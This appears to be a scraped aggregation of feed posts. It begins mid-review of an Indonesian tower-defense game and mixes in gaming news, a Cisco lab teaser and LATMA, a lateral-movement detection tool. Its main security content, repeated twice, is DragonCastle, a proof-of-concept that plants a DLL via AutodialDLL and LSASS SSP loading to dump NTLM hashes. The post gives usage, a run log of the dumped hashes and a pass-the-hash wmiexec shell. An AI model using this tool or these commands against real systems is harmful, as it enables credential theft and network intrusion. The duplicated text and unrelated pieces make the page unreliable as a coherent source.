Contohnya, menara api mampu memberikan damage area kepada sekelompok musuh sekaligus, namun cenderung kurang efektif melawan musuh yang kebal terhadap elemen api. Sebaliknya, menara listrik sangat efektif untuk menghentikan musuh yang bergerak cepat, namun tidak begitu efektif melawan kelompok besar musuh. Kemampuan pemain untuk mengenali dan memanfaatkan kelebihan dari setiap menara ini akan sangat menentukan sukses tidaknya pertahanan mereka.

Selain itu, pemain juga bisa melakukan upgrade terhadap menara yang mereka bangun, menambah variasi serangan serta meningkatkan daya tahan terhadap serangan balik musuh. Proses upgrading ini tidak hanya menambah kedalaman gameplay, tetapi juga memberikan rasa progresi yang nyata sepanjang permainan.

Grafis dan Visual yang Menawan

Sisi visual Tower Dominion juga patut mendapatkan apresiasi. Meski berasal dari studio indie, game ini berhasil menghadirkan grafis berkualitas tinggi dengan desain yang detail dan menarik. Setiap elemen visual, mulai dari medan pertempuran, karakter musuh, hingga efek-efek visual dari berbagai serangan menara, dirancang dengan baik dan penuh warna sehingga menambah pengalaman bermain yang lebih menyenangkan.

Lingkungan permainan juga sangat beragam, mulai dari dataran terbuka, hutan yang lebat, hingga kastil-kastil kuno, membuat pemain selalu penasaran dengan medan baru yang akan mereka hadapi. Efek khusus seperti ledakan, tembakan energi, serta animasi pergerakan musuh juga menambah sensasi intens dari setiap pertempuran, menjadikan permainan terasa hidup dan penuh ketegangan.

Mode Permainan yang Variatif

Tower Dominion tidak hanya menawarkan mode campaign yang panjang dengan cerita menarik, namun juga menyediakan berbagai mode permainan tambahan yang mampu menambah replayability. Mode survival, misalnya, menantang pemain untuk bertahan selama mungkin melawan gelombang musuh yang terus meningkat kekuatannya. Mode ini sangat cocok bagi pemain yang ingin menguji seberapa jauh kemampuan strategi mereka.

Selain mode survival, terdapat pula mode tantangan khusus yang memberikan kondisi-kondisi unik, seperti terbatasnya jenis menara yang bisa digunakan, sumber daya yang sangat minim, atau bahkan mode di mana pemain hanya diperbolehkan untuk menggunakan satu jenis menara tertentu sepanjang pertempuran. Keberadaan berbagai mode ini memastikan pemain tidak pernah merasa bosan dan selalu menemukan tantangan baru setiap kali mereka memainkan game ini.

Fitur Multiplayer dan Komunitas Aktif

Salah satu aspek menarik lain dari Tower Dominion adalah fitur multiplayer yang memungkinkan pemain berkolaborasi atau bersaing dengan pemain lain di seluruh dunia. Mode kooperatif menghadirkan tantangan baru di mana pemain harus bekerja sama dalam menyusun strategi pertahanan terbaik, sementara mode kompetitif memungkinkan pemain saling berlomba untuk mencatatkan skor tertinggi dalam bertahan menghadapi serangan musuh.

Selain itu, komunitas Tower Dominion juga terbilang aktif dan ramah, sering kali mengadakan berbagai event serta kompetisi yang diadakan secara reguler oleh pengembang. Dukungan penuh dari developer dalam hal update konten, patch balancing, serta berbagai tambahan fitur yang diminta oleh komunitas juga membuat Tower Dominion tetap hidup dan terus berkembang.

Kesimpulan: Tower Defense yang Wajib Dimainkan!

Secara keseluruhan, Tower Dominion adalah sebuah judul game tower defense yang menawarkan pengalaman bermain menyenangkan sekaligus menantang. Gameplay strategis yang mendalam, visual memikat, serta berbagai fitur menarik seperti mode permainan yang variatif hingga multiplayer membuatnya layak dimainkan oleh penggemar genre strategi maupun pemain baru yang penasaran dengan dunia tower defense.

Dengan kombinasi elemen-elemen tersebut, Tower Dominion mampu memberikan pengalaman gaming yang penuh tantangan namun juga menyenangkan, menjadikannya sebagai salah satu game strategi indie yang patut untuk dijajal oleh para gamer di tahun ini.

The post Tower Dominion: Perang Strategi Epik yang Menguji Kecerdikan Pemain! appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

By: Unknown
19 January 2023 at 06:30


A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.


Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build Support
Windows 10 version 21H2
Windows 10 version 21H1 Implemented
Windows 10 version 20H2 Implemented
Windows 10 version 20H1 (2004) Implemented
Windows 10 version 1909 Implemented
Windows 10 version 1903 Implemented
Windows 10 version 1809 Implemented
Windows 10 version 1803 Implemented
Windows 10 version 1709 Implemented
Windows 10 version 1703 Implemented
Windows 10 version 1607 Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -h                                                                                                                                            
DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid doma in name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
Path used to update AutodialDLL registry value
</ pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977 b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:

============
[+] Deleting DLL

[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|β‡’  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivile ge Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege En able computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel FernΓ‘ndez (@TheXC3LL)

References



LATMA - Lateral Movement Analyzer Tool

By: Unknown
16 January 2023 at 06:30


Lateral movement analyzer (LATMA) collects authentication logs from the domain and searches for potential lateral movement attacks and suspicious activity. The tool visualizes the findings with diagrams depicting the lateral movement patterns. This tool contains two modules, one that collects the logs and one that analyzes them. You can execute each of the modules separately, the event log collector should be executed in a Windows machine in an active directory domain environment with python 3.8 or above. The analyzer can be executed in a linux machine and a Windows machine.


The Collector

The Event Log Collector module scans domain controllers for successful NTLM authentication logs and endpoints for successful Kerberos authentication logs. It requires LDAP/S port 389 and 636 and RPC port 135 access to the domain controller and clients. In addition it requires domain admin privileges or a user in the Event log Reader group or one with equivalent permissions. This is required to pull event logs from all endpoints and domain controllers.

The collector gathers NTLM logs from event 8004 on the domain controllers and Kerberos logs from event 4648 on the clients. It generates as an output a csv comma delimited format file with all the available authentication traffic. The output contains the fields source host, destination, username, auth type, SPN and timestamps in the format %Y/%m/%d %H:%M. The collector requires credential of a valid user with event viewer privileges across the environment and queries the specific logs for each protocol.

Verify Kerberos and NTLM protocols are audited across the environment using group policy:

  1. Kerberos - Computer configuration -> policies -> Windows Settings -> Security settings -> Local policies -> Audit Policies -> audit account logon events
  2. NTLM - Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network Security: Restrict NTLM: audit NTLM authentication in this domain

The Analyzer

The Analyzer receives as input a spreadsheet with authentication data formatted as specified in Collector's output structure. It searches for suspicious activity with the lateral movement analyzer algorithm and also detects additional IoCs of lateral movement. The authentication source and destination should be formalized with netbios name and not ip addresses.

Preliminaries and key concepts of the LATMA algorithm

LATMA gets a batch of authentication requests and sends an alert when it finds suspicious lateral movement attacks. We define the following:

  • Authentication Graph: A directed graph that contains information about authentication traffic in the environment. The nodes of the graphs are computers, and the edges are authentications between the computers. The graph edges have the attributes: protocol type, date of authentication and the account that sent the request. The graph nodes contain information about the computer it represents, detailed below.

  • Lateral movement graph: A sub-graph of the authentication graph that represents the attacker’s movement. The lateral movement graph is not always a path in the sub-graph, in some attacks the attacker goes in many different directions.

  • Alert: A sub-graph the algorithm suspects are part of the lateral movement graph.

LATMA performs several actions during its execution:

  • Information gathering: LATMA monitors normal behavior of the users and machines and characterizes them. The learning is used later to decide which authentication requests deviate from a normal behavior and might be involved in a lateral movement attack. For a learning period of three weeks LATMA does not throw any alerts and only learns the environment. The learning continues after those three weeks.

  • Authentication graph building: After the learning period every relevant authentication is added to the authentication graph. It is critical to filter only for relevant authentication, otherwise the number of edges the graph holds might be too big. We filter on the following protocol types: NTLM and Kerberos with the services β€œrpc”, β€œrpcss” and β€œtermsrv.”

Alert handling:

Adding an authentication to the graph might trigger a process of alerting. In general, a new edge can create a new alert, join an existing alert or merge two alerts.

Information gathering

Every authentication request monitored by LATMA is used for learning and stored in a dedicated data structure. First, we identify sinks and hubs. We define sinks as machines accessed by many (at least 50) different accounts, such as a company portal or exchange server. We define hubs as machines many different accounts (at least 20) authenticate from, such as proxies and VPNs. Authentications to sinks or from hubs are considered benign and are therefore removed from the authentication graph.

In addition to basic classification, LATMA matches between accounts and machines they frequently authenticate from. If an account authenticates from a machine at least three different days in a three weeks’ period, it means that this account matches the machine and any authentication of this account from the machine is considered benign and removed from the authentication graph.

The lateral movement IoCs are:

Whiteβ€― cane β€―- User accounts authenticating from a single machine to multiple ones in a relatively short time.

Bridge - User account X authenticating from machine A to machine B and following that, from machine B to machine C. This IoC potentially indicates an attacker performing actual advance from its initial foothold (A) to destination machine that better serves the attack’s objectives.

Switched Bridge - User account X authenticating from machine A to machine B, followed by user account Y authenticating from machine B to machine C. This IoC potentially indicates an attacker that discovers and compromises an additional account along its path and uses the new account to advance forward (a common example is account X being a standard domain user and account Y being a admin user)

Weight Shift - White cane (see above) from machine A to machines {B1,…, Bn}, followed by another White cane from machine Bx to machines {C1,…,Cn}. This IoC potentially indicates an attacker that has determined that machine B would better serve the attack’s purposes from now on uses machine B as the source for additional searches.

Blast - User account X authenticating from machine A to multiple machines in a very short timeframe. A common example is an attacker that plants \ executes ransomware on a mass number of machines simultaneously

Output:

The analyzer outputs several different files

  1. A spreadsheet with all the suspected authentications (all_authentications.csv) and their role classification and a different spreadsheet for the authentications that are suspected to be part of lateral movement (propagation.csv)
  2. A GIF file represents the progression, wherby each frame of the GIF specifies exactly what was the suspicious action
  3. An interactive timeline with all the suspicious events. Events that are related to each other have the same color

Dependencies:

  1. Python 3.8
  2. libraries as follows in requirements.txt
  3. Run pip install . for running setup automatically
  4. Audit Kerberos and NTLM across the environment
  5. LDAP queries to the domain controllers
  6. Domain admin credentials or any credentials with MS-EVEN6 remote event viewer permissions.

usage

The Collector

Required arguments:

  1. credentials [domain.com/]username[:password] credentials format alternatively [domain.com/]username and then password will be prompted securely. For domain please insert the FQDN (Fully Quallified Domain Name). Optional arguments:
  2. -ntlm Retrieve ntlm authentication logs from DC
  3. -kerberos Retrieve kerberos authentication logs from all computers in the domain
  4. -debug Turn DEBUG output ON
  5. -help show this help message and exit
  6. -filter Query specific ou or container in the domain, will result all workstations in the sub-OU as well. Each OU will be in format of DN (Distinguished Name). Supports multiple OUs with a semicolon delimiter. Example: OU=subunit,OU=unit;OU=anotherUnit,DC=domain,DC=com Example: CN=container,OU=unit;OU=anotherUnit,DC=domain,DC=com
  7. -date Starting date to collect event logs from. month-day-year format, if not specified take all available data
  8. -threads amount of working threads to use
  9. -ldap Use Unsecure LDAP instead of LDAP/S
  10. -ldap_domain Custom domain on ldap login credentials. If empty, will use current user's session domain

The Analyzer

Required arguments:

  1. authentication_file authentication file should contain list of NTLM and Kerberos requests

Optional arguments: 2. -output_file The location the csv with the all the IOCs is going to be saved to 3. -progression_output_file The location the csv with the the IOCs of the lateral movements is going to be save to 4. -sink_threshold number of accounts from which a machine is considered sink, default is 50 5. -hub_threshold number of accounts from which a machine is considered hub, default is 20 6. -learning_period learning period in days, default is 7 days 7. -show_all_iocs Show IoC that are not connected to any other IoCs 8. -show_gant If true, output the events in a gant format

Binary Usage Open command prompt and navigate to the binary folder. Run executables with the specified above arguments.

Examples

In the example files you have several samples of real environments (some contain lateral movement attacks and some don't) which you can give as input for the analyzer.

Usage example

  1. python eventlogcollector.py domain.com/username:password -ntlm -kerberos
  2. python analyzer.py logs.csv


How to setup your own Basic Telemetry Lab with Cisco XR

By: Jo
22 February 2021 at 10:29
In this article, we will be talking about setting up a basic Lab for testing Telemetry on a Cisco NC55XX router. Telemetry – β€œTele” means remote, β€œmetry” means metrics or measurements, together this word simply

Continue readingHow to setup your own Basic Telemetry Lab with Cisco XR

"Control 2" Is Officially Happening

By: Gokul G
12 November 2022 at 22:14
Control 2 Is Officially Happening

Remedy Entertainment has announced that they are making a sequel to the award-winning game "Control". The game is currently in the concept stage of development, and it will be built on Remedy's own Northlight Engine.

According to the newly signed agreement with 505 Games, Remedy will self-publish the PC version of the game, and 505 Games will publish the console versions. And, the revenue generated will be split evenly.

Rami and Raffi Galante, co-CEOs of 505 Games said in a statement that "We are excited to deepen our cooperation with Remedy and continue the success story of Control together. Since its launch in 2019, Control has sold over 3 million copies,"

"Control is the biggest investment 505 Games has ever made, so it has a special place in our hearts. We are grateful to the whole player community that has made Control such a long-lasting and loved game, and are even more excited to bring out Control 2," they added.

Control garnered over 20 "Game of the Year" accolades, including IGN's 2019 Game of the Year, and was nominated for 11 BAFTA Games Awards.

DragonCastle - A PoC That Combines AutodialDLL Lateral Movement Technique And SSP To Scrape NTLM Hashes From LSASS Process

By: Zion3R
19 January 2023 at 06:30


A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.

Description

Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.

The DLLMain always returns False so the processes doesn't keep it.


Caveats

It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:

Build Support
Windows 10 version 21H2
Windows 10 version 21H1 Implemented
Windows 10 version 20H2 Implemented
Windows 10 version 20H1 (2004) Implemented
Windows 10 version 1909 Implemented
Windows 10 version 1903 Implemented
Windows 10 version 1809 Implemented
Windows 10 version 1803 Implemented
Windows 10 version 1709 Implemented
Windows 10 version 1703 Implemented
Windows 10 version 1607 Implemented
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.

Usage

credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value" dir="auto">
psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -h                                                                                                                                            
DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid doma in name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
Path used to update AutodialDLL registry value
</ pre>

Example

Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:

psyconauta@insulanova:~/Research/dragoncastle|β‡’  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977 b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:

============
[+] Deleting DLL

[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|β‡’  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivile ge Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege En able computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

Author

Juan Manuel FernΓ‘ndez (@TheXC3LL)

References



❌
❌